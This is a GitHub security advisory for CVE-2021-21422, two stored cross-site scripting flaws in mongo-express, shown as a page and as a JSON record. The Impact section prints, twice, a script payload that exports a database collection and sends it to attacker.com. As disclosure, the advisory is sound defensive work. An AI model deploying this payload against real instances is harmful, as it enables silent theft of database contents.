GHSA-7P8H-86P5-WV3P

Vulnerability from github – Published: 2021-06-28 17:18 – Updated: 2021-06-22 15:44
VLAI?
Summary
Cross-site scripting
Details

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4

For more information

If you have any questions or comments about this advisory: * Open an issue in mongo-express * Email me at jafar.akhoondali@gmail.com

Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
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      },
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        "name": "mongo-express"
      },
      "ranges": [
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          "events": [
            {
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            },
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            }
          ],
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        }
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  "aliases": [
    "CVE-2021-21422"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-21T17:53:12Z",
    "nvd_published_at": "2021-06-21T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... \u003cscript\u003e await fetch(\u0027http://localhost:8081/db/testdb/export/users\u0027).then( async res =\u003e  await fetch(\u0027http://attacker.com?backup=\u0027+encodeURIComponent((await res.text())))) \u003c/script\u003e\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)\n",
  "id": "GHSA-7p8h-86p5-wv3p",
  "modified": "2021-06-22T15:44:45Z",
  "published": "2021-06-28T17:18:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21422"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongo-express/mongo-express/issues/577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cross-site scripting"
}


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